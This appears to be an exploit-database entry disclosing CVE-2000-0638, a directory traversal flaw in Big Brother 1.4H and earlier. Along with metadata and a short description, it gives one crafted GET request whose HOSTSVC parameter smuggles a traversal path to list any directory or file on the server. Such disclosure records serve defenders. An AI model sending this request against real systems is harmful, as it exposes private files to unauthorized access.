Sean MacGuire Big Brother 1.x - Directory Traversal

Author: Eric Hines
type: remote
platform: cgi
port: 
date_added: 2000-07-11 
date_updated: 2012-07-24 
verified: 1 
codes: CVE-2000-0638;OSVDB-359 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/1455/info

Versions 1.4H and prior of BB4 Big Brother are susceptible to a directory traversal vulnerability which would allow a remote user to view the contents of any directory or file on the system. Executing a GET request for:

http://target/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../directory

will display the contents of the specified directory.